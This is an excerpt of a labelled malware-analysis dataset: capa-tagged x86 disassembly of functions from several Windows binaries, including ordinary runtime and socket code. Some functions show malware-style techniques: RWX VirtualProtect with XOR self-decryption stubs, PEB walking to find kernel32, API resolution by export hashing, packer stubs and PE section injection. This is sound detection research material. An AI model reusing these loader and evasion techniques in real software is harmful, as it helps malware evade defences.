joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404f30
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ebx, eax
cmp byte [ebx], 0
jne 0x404f62
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ebx, [ebp - 0x10c]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push ebx
call fcn.00404da0
add esp, 0x14
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
lea eax, [edx + eax*4]
push eax
call fcn.00405710
pop ecx
mov esi, eax
test esi, esi
jne 0x404f95
push 1
call fcn.00404760
pop ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 4]
lea eax, [esi + eax*4]
push eax
push esi
push ebx
call fcn.00404da0
add esp, 0x14
mov eax, dword [ebp - 4]
dec eax
mov dword [0x407290], eax
mov dword [0x407294], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404fd0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov ebx, eax
test eax, eax
jne 0x404feb
mov ebx, dword [0x407360]
mov esi, ebx
xor ecx, ecx
jmp 0x40500e
mov edx, esi
or eax, 0xffffffff
inc eax
cmp byte [edx + eax], 0
jne 0x404ff6
inc eax
mov dword [ebp - 4], eax
cmp byte [esi], 0x3d
je 0x405009
add ecx, dword [ebp - 4]
mov eax, dword [ebp - 4]
add esi, eax
cmp byte [esi], 0
jne 0x404ff1
lea eax, [ecx + 1]
push eax
call fcn.00405710
pop ecx
mov edi, eax
mov dword [0x40729c], eax
cmp dword [0x40729c], 0
jne 0x405035
push 1
call fcn.00404760
pop ecx
mov esi, ebx
jmp 0x40506a
mov edx, esi
or eax, 0xffffffff
inc eax
cmp byte [edx + eax], 0
jne 0x40503e
inc eax
mov dword [ebp - 4], eax
cmp byte [esi], 0x3d
je 0x405065
mov ecx, edi
mov edx, esi
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
inc edx
test al, al
jne 0x405055
pop eax
mov eax, dword [ebp - 4]
add edi, eax
mov eax, dword [ebp - 4]
add esi, eax
cmp byte [esi], 0
jne 0x405039
mov byte [edi], 0
cmp ebx, dword [0x407360]
je 0x405081
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x419250
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 0
mov byte [ebp - 1], 0
mov eax, 1
test eax, eax
je 0x419310
movzx ecx, byte [ebp - 1]
test ecx, ecx
je 0x4192f5
mov edx, dword [ebp - 8]
add edx, 0xb
mov dword [ebp - 8], edx
lea eax, [ebp - 0x18]
push eax
push 0x40
mov ecx, dword [ebp - 8]
mov edx, dword [ecx - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0xc], 0
jmp 0x4192a8
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
cmp eax, dword [edx - 0x14]
jae 0x4192f3
mov ecx, dword [ebp - 8]
movzx edx, byte [ecx - 0x15]
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax - 4]
xor edx, ecx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax - 2]
xor edx, ecx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax - 3]
xor edx, ecx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
xor ecx, edx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
mov byte [edx], cl
jmp 0x41929f
jmp 0x419310
mov byte [ebp - 1], 1
jmp 0x419303
call 0x419308
pop dword [ebp - 8]
jmp 0x419261
mov dword [ebp - 0x14], 0xd89d5b49
fistp qword [edx*2 - 0x288e4f6e]
push ds
adc esi, dword [edx]
xchg ecx, eax
jae 0x41937c
sti
and al, 0x52
mov dword [0x7bbd7fdc], eax
int3
mov edx, dword [ebp - 0x10]
sub edx, 1
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
jl 0x4193c0
lock add byte [eax + eax*2 - 0x75], bh
inc ebp
clc
mov eax, dword [ebp - 8]
movzx ecx, byte [eax - 0x15]
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x10]
movzx eax, byte [edx - 4]
xor ecx, eax
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x10]
movzx eax, byte [edx - 2]
xor ecx, eax
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x10]
movzx eax, byte [edx - 3]
xor ecx, eax
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x10]
movzx eax, byte [edx]
xor eax, ecx
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x10]
mov byte [ecx], al
jmp 0x419371
mov esp, ebp
pop ebp
ret
Function at 0x41af00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4595a0
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0xdc
mov eax, dword [0x46c008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov dword [0x487698], eax
mov dword [ebp - 0x5c], 0
mov byte [ebp - 0x5f], 0
mov ecx, 1
test ecx, ecx
je 0x41affb
movzx edx, byte [ebp - 0x5f]
test edx, edx
je 0x41afe0
mov eax, dword [ebp - 0x5c]
add eax, 0xb
mov dword [ebp - 0x5c], eax
lea ecx, [ebp - 0xe4]
push ecx
push 0x40
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx - 0x14]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x6c], 0
jmp 0x41af93
mov edx, dword [ebp - 0x6c]
add edx, 1
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x6c]
cmp ecx, dword [eax - 0x14]
jae 0x41afde
mov edx, dword [ebp - 0x5c]
movzx eax, byte [edx - 0x15]
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x6c]
movzx edx, byte [ecx - 4]
xor eax, edx
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x6c]
movzx edx, byte [ecx - 2]
xor eax, edx
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x6c]
movzx edx, byte [ecx - 3]
xor eax, edx
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x6c]
movzx edx, byte [ecx]
xor edx, eax
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x6c]
mov byte [eax], dl
jmp 0x41af8a
jmp 0x41affb
mov byte [ebp - 0x5f], 1
jmp 0x41afee
mov eax, dword [0x5e901]
add byte [eax], al
cld
mov ebx, 0xe8000000
add byte [eax], al
add byte [eax], al
call 0x41aff3
pop dword [ebp - 0x5c]
jmp 0x41af45
push 0x16
push 0xe66836d3
and byte [0x2b40a2b0], ch
fidiv dword [edi + 0x2e]
cmpsb byte [esi], byte es:[edi]
xor cl, byte [edi + 0x35]
add ecx, dword [esi - 0x2e4fa1b8]
xor ebx, dword [eax - 0x26]
ja 0x41b048
movsb byte es:[edi], byte [esi]
xor al, byte [ebp - 0x7eb836ca]
dec esi
mov al, 0xc0
and cl, byte [ecx - 0x26]
ja 0x41b057
stosd dword es:[edi], eax
xor bl, byte [edx + 0x38]
push ss
xchg esi, eax
push eax
js 0x41afe2
not dword [0x2e77da7e]
movsd dword es:[edi], dword [esi]
xor bh, byte [esi + esi + 0x30]
mov esi, 0xe6b06978
add al, 0x6f
fidiv dword [edi + 0x2e]
nop
xor byte [edi + 0x713216b7], ch
sti
cmp eax, 0xee7bb68
sal dword gs:[ebx + 0x2e], 1
hlt
hlt

Function at 0x430040
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x43005d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x430064
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x43007b
mov ecx, dword [ebp - 4]
push ecx
call fcn.00423bc0
add esp, 4
or eax, 0xffffffff
jmp 0x43007d
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x44ce30
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
push edi
lea edi, [ebp - 0x128]
mov ecx, 0x4a
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 8], 0xffffffff
mov eax, dword [ebp + 0xc]
push eax
push 0x465b30
push 6
lea ecx, [ebp - 0x18]
push ecx
call fcn.00457a90
add esp, 0x10
push 0x20
push 0
lea eax, [ebp - 0x58]
push eax
call fcn.00428200
add esp, 0xc
mov dword [ebp - 0x54], 2
mov dword [ebp - 0x4c], 6
mov dword [ebp - 0x50], 1
mov esi, esp
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
cmp esi, esp
call fcn.00457480
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
je 0x44cec1
or eax, 0xffffffff
jmp 0x44cf78
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x44cf5c
mov esi, esp
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 8]
push eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.WS2_32.dll_socket]
cmp esi, esp
call fcn.00457480
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jb 0x44cf4e
mov eax, dword [ebp - 8]
push eax
call fcn.0044d250
add esp, 4
mov esi, esp
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp esi, esp
call fcn.00457480
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
je 0x44cf4c
cmp dword [ebp - 0x64], 0
jge 0x44cf4e
call fcn.0044d0d0
push eax
call fcn.0044c2e0
add esp, 4
test eax, eax
je 0x44cf4e
jmp 0x44cf5c
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x1c]
mov dword [ebp - 0x30], ecx
jmp 0x44cec7
cmp dword [ebp - 0x24], 0
je 0x44cf75
mov esi, esp
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp esi, esp
call fcn.00457480
mov eax, dword [ebp - 8]
push edx
mov ecx, ebp
push eax
lea edx, [0x44cfa0]
call fcn.00457420
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0x128
cmp ebp, esp
call fcn.00457480
mov esp, ebp
pop ebp
ret
Function at 0x44cfe0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
push ebx
push esi
push edi
lea edi, [ebp - 0xf0]
mov ecx, 0x3c
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, 2
mov word [ebp - 0x14], ax
mov dword [ebp - 0x20], 0x10
mov esi, esp
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_getpeername]
cmp esi, esp
call fcn.00457480
test eax, eax
jne 0x44d031
xor eax, eax
jmp 0x44d064
call fcn.0044d0d0
cmp eax, 0x2749
je 0x44d044
call fcn.0044d0d0
jmp 0x44d064
mov esi, esp
push 0
push 1
lea eax, [ebp - 0x29]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp esi, esp
call fcn.00457480
call fcn.0044d0d0
push edx
mov ecx, ebp
push eax
lea edx, [0x44d08c]
call fcn.00457420
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0xf0
cmp ebp, esp
call fcn.00457480
mov esp, ebp
pop ebp
ret

Function at 0x44d120
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
push esi
push edi
lea edi, [ebp - 0x258]
mov ecx, 0x96
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
lea eax, [ebp - 0x194]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp esi, esp
call fcn.00457480
push edx
mov ecx, ebp
push eax
lea edx, [0x44d180]
call fcn.00457420
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0x258
cmp ebp, esp
call fcn.00457480
mov esp, ebp
pop ebp
ret

Function at 0x44d200
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
push ebx
push esi
push edi
lea edi, [ebp - 0xc0]
mov ecx, 0x30
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp esi, esp
call fcn.00457480
pop edi
pop esi
pop ebx
add esp, 0xc0
cmp ebp, esp
call fcn.00457480
mov esp, ebp
pop ebp
ret

Function at 0x44d250
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
push ebx
push esi
push edi
lea edi, [ebp - 0xcc]
mov ecx, 0x33
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 8], 1
mov esi, esp
lea eax, [ebp - 8]
push eax
push 0x8004667e
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp esi, esp
call fcn.00457480
push edx
mov ecx, ebp
push eax
lea edx, [0x44d2b8]
call fcn.00457420
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0xcc
cmp ebp, esp
call fcn.00457480
mov esp, ebp
pop ebp
ret
Function at 0x44e2a0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
push ebx
push esi
push edi
lea edi, [ebp - 0xc0]
mov ecx, 0x30
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp esi, esp
call fcn.00457480
pop edi
pop esi
pop ebx
add esp, 0xc0
cmp ebp, esp
call fcn.00457480
mov esp, ebp
pop ebp
ret
Function at 0x455fa0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
push ebx
push esi
push edi
lea edi, [ebp - 0xc0]
mov ecx, 0x30
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp + 8]
mov dword [edx + ecx], 0x67452301
mov eax, 4
shl eax, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax], 0xefcdab89
mov eax, 4
shl eax, 1
mov ecx, dword [ebp + 8]
mov dword [ecx + eax], 0x98badcfe
mov eax, 4
imul ecx, eax, 3
mov edx, dword [ebp + 8]
mov dword [edx + ecx], 0x10325476
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp + 8]
mov dword [edx + ecx + 0x10], 0
mov eax, 4
shl eax, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax + 0x10], 0
push 0x40
push 0
mov eax, dword [ebp + 8]
add eax, 0x18
push eax
call fcn.00428200
add esp, 0xc
pop edi
pop esi
pop ebx
add esp, 0xc0
cmp ebp, esp
call fcn.00457480
mov esp, ebp
pop ebp
ret
Function at 0x4022fd
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x4807c0]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x402366
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401b4a
lea eax, [esp + 0x14]
push 0x235
push eax
call fcn.00403a65
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x40237e
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00402e72
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x40232e
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00406114
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00402e72
jmp 0x402368

Function at 0x403ee0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ecx
push esi
push edi
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x4816f0], eax
push 0x27
push 0x480228
push 0x547
mov esi, 0x480250
push esi
call fcn.0040239c
push 0x8aafdc01
push dword [0x4816f0]
call fcn.004022fd
add esp, 0x18
lea ecx, [esp + 8]
push ecx
push 0x40
push 0x4e4
push esi
call eax
pop edi
pop esi
test eax, eax
je 0x403f40
call fcn.00403de5
xor eax, eax
pop ecx
ret 0x10
Function at 0x10001960
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x1e0
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.10001aa0
mov eax, dword [esp + 0x1f8]
lea edi, [esi + 8]
push eax
push edi
call dword [0x1000808c]
mov ebp, dword [esp + 0x208]
mov ecx, dword [esp + 0x204]
lea ebx, [esi + 0x108]
push ebp
mov dword [ebx], ecx
call dword [0x10008084]
add esp, 0xc
test eax, eax
je fcn.100019b1
push ebx
push edi
push ebp
mov ecx, esi
jmp loc.1000c8f7

Function at 0x10001aa0
Capabilities:
Packed with generic packer

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 4]
test eax, eax
je fcn.10001ab8
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
jmp loc.1000cc17

Function at 0x10001ae0
Capabilities:
Connect socket
Packed with generic packer
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x12c
xor eax, eax
push ebx
mov dword [esp + 6], eax
push esi
mov dword [esp + 0xe], eax
push edi
xor ebx, ebx
mov dword [esp + 0x16], eax
mov ecx, 0x40
lea edi, [esp + 0x35]
mov word [esp + 0x1a], ax
mov byte [esp + 0x34], bl
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x13c]
lea edx, [esp + 0x34]
stosw word es:[edi], ax
push ecx
push edx
mov word [esp + 0x14], bx
stosb byte es:[edi], al
call dword [0x1000808c]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
add esp, 8
lea eax, [esp + 0x34]
push eax
call esi
cmp eax, 0xffffffff
jne 0x10001ba5
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x10001b5a
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x12c
ret 8
xor edx, edx
mov word [esp + 0x24], bx
mov dword [esp + 0x26], edx
mov dword [esp + 0x2a], edx
mov dword [esp + 0x2e], edx
mov word [esp + 0x32], dx
mov edx, dword [eax + 0xc]
movsx ecx, word [eax + 0xa]
mov eax, dword [edx]
jmp loc.1000c871
lea ecx, [esp + 0x34]
push ecx
call esi
mov edx, dword [esp + 0x140]
mov dword [esp + 0x10], eax
push edx
call dword [sym.imp.WS2_32.dll_htons]
push ebx
mov ebx, 1
push ebx
push 2
mov word [esp + 0x1a], ax
mov word [esp + 0x18], 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10001bee
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x12c
ret 8
lea eax, [esp + 0xc]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10001c16
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x12c
ret 8
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea ecx, [esp + 0x1c]
push 4
push ecx
push ebx
push 6
push esi
mov dword [esp + 0x30], ebx
call edi
test eax, eax
je 0x10001c46
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x12c
ret 8
lea edx, [esp + 0x20]
push 4
push edx
push 8
push 0xffff
push esi
mov dword [esp + 0x34], ebx
call edi
test eax, eax
je 0x10001c74
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x12c
ret 8
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x12c
ret 8
Function at 0x10001d60
Capabilities:
Link many functions at runtime
Rebuild import table
Resolve function by parsing pe exports

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10006f88
push eax
mov dword fs:[0], esp
sub esp, 0x344
push ebx
push ebp
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi + 0x124], ebx
jne 0x10003ad4
mov eax, dword [esp + 0x364]
xor edi, edi
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x50]
add ecx, 0xfffffff8
cmp ecx, ebx
jbe 0x10001dcc
jmp loc.1000cc60
xor eax, eax
jmp loc.1000c24b
mov eax, 1

Function at 0x10003bb0
Capabilities:
Encode data using base64

Disassembly:
sub esp, 0x100
push ebx
mov ebx, dword [esp + 0x110]
push ebp
push esi
test ebx, ebx
push edi
je 0x10003cb4
mov ebp, dword [esp + 0x120]
test ebp, ebp
je 0x10003cb4
mov edx, dword [esp + 0x114]
cmp edx, 0x2711
jb 0x10003cb4
jmp loc.1000c681
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x100
ret 0x10
Function at 0x10004e30
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [0x10008184]
xor edx, edx
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
mov ecx, dword [ecx + 0x50]
add ecx, 0xfffffff8
test ecx, ecx
jbe 0x10004e6a
mov esi, 0x18776655
cmp dword [edx + eax], 0x8776633
jne 0x10004e5b
cmp dword [edx + eax + 4], esi
je 0x10004e64
inc edx
cmp edx, ecx
jb 0x10004e4c
xor eax, eax
pop esi
ret
add eax, edx
test eax, eax
jne 0x10004e6e
xor eax, eax
pop esi
ret
mov ecx, dword [eax + 8]
push 0x514
lea esi, [ecx + eax + 0x20]
lea edx, [esi + 0x514]
push edx
push 0x10008188
call dword [0x10008088]
add esp, 0xc
xor eax, eax
sub esi, 0x10008188
mov cl, byte [esi + eax + 0x10008188]
mov dl, byte [eax + 0x10008188]
xor dl, cl
mov byte [eax + 0x10008188], dl
inc eax
cmp eax, 0x514
jb 0x10004e97
mov eax, 1
pop esi
ret

Function at 0x10005260
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
mov ebx, dword [edi + 0x3c]
cmp dword [ebx + edi], 0x4550
je 0x1000527b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
xor eax, eax
mov ax, word [ebx + edi + 6]
lea eax, [eax + eax*4]
lea esi, [ebx + eax*8 + 0xf8]
mov eax, dword [ebx + edi + 0x54]
lea ecx, [esi + 0x28]
cmp ecx, eax
jbe 0x1000529e
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
add esi, edi
xor eax, eax
cmp byte [eax + esi], 0
jne 0x100052b0
inc eax
cmp eax, 0x28
jne 0x100052a2
jmp 0x100052c5
push 8
lea edx, [ebx + edi + 0xd0]
push 0
push edx
call dword [0x1000809c]
add esp, 0xc
mov ebp, dword [esp + 0x18]
lea ecx, [ebx + edi + 0x50]
mov dword [esi + 8], ebp
xor edx, edx
mov eax, dword [ecx]
mov dword [esi + 0x10], ebp
mov dword [esi + 0xc], eax
mov eax, ebp
div dword [ebx + edi + 0x3c]
mov edx, dword [esp + 0x20]
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
inc eax
mov dword [esi + 0x10], eax
imul eax, dword [ebx + edi + 0x3c]
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], edx
mov dword [esi + 0x24], 0x40000040
inc word [ebx + edi + 6]
mov ebx, dword [ebx + edi + 0x38]
mov eax, dword [esi + 8]
xor edx, edx
div ebx
mov edx, dword [ecx]
inc eax
imul eax, ebx
add edx, eax
mov eax, dword [esp + 0x3c]
push eax
mov dword [ecx], edx
call dword [0x100080c0]
jmp loc.1000c327

Function at 0x100055a0
Capabilities:
Packed with generic packer

Disassembly:
sub esp, 0x20c
mov edx, dword [esp + 0x210]
jmp loc.1000c842
Function at 0x100057d0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x128
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x2d]
mov byte [esp + 0x2c], 0
push 0xff
rep stosd dword es:[edi], eax
mov ecx, dword [0x10008184]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x30]
push eax
push ecx
call dword [0x100080d4]
xor eax, eax
lea edx, [esp + 8]
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp + 4]
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
call fcn.100051d0
add esp, 0xc
test eax, eax
jne 0x10005830
pop edi
add esp, 0x128
ret
mov edx, dword [0x10008158]
push ebx
push ebp
push esi
lea ebx, [edx + 0xa48]
push ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
mov ecx, 6
xor eax, eax
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
mov eax, dword [0x10008158]
lea ecx, [esp + 0x1c]
push 0x20
push ecx
push ebp
mov dword [esp + 0x28], 0x8776633
mov dword [esp + 0x2c], 0x18776655
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 0x514
call dword [0x10008088]
mov edx, dword [0x10008158]
mov eax, dword [0x10008154]
lea esi, [ebp + 0x20]
push edx
push eax
push esi
call dword [0x10008088]
mov eax, dword [0x10008158]
push 0
add esi, eax
call dword [0x100080a8]
push eax
call dword [0x100080a0]
add esp, 0x24
xor edi, edi
call dword [0x100080a4]
mov byte [edi + esi], al
inc edi
cmp edi, 0x514
jb 0x100058b5
lea edi, [esi + 0x514]
push 0x514
push 0x10008188
push edi
call dword [0x10008088]
add esp, 0xc
mov eax, edi
sub esi, edi
mov ecx, 0x514
mov dl, byte [esi + eax]
xor byte [eax], dl
inc eax
dec ecx
jne 0x100058ea
mov eax, dword [esp + 0x13c]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push eax
push ecx
push edx
push ebx
push ebp
call fcn.10005260
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x28]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x1c
mov eax, 1
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x128
ret

Function at 0x10005b00
Capabilities:
Receive data
Receive data on socket

Disassembly:
push 0xffffffffffffffff
push 0x10006fb6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x154
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x58]
jmp loc.1000c382

Function at 0x10005e50
Capabilities:
Initialize winsock library

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x190
cmp eax, 1
jne 0x10005ea1
mov eax, dword [esp + 0x194]
push edi
mov dword [0x10008184], eax
mov ecx, 0x63
xor eax, eax
lea edi, [esp + 6]
mov word [esp + 4], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 4]
push ecx
push 0x202
stosw word es:[edi], ax
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, 1
pop edi
add esp, 0x190
ret 0xc
mov eax, 1
add esp, 0x190
ret 0xc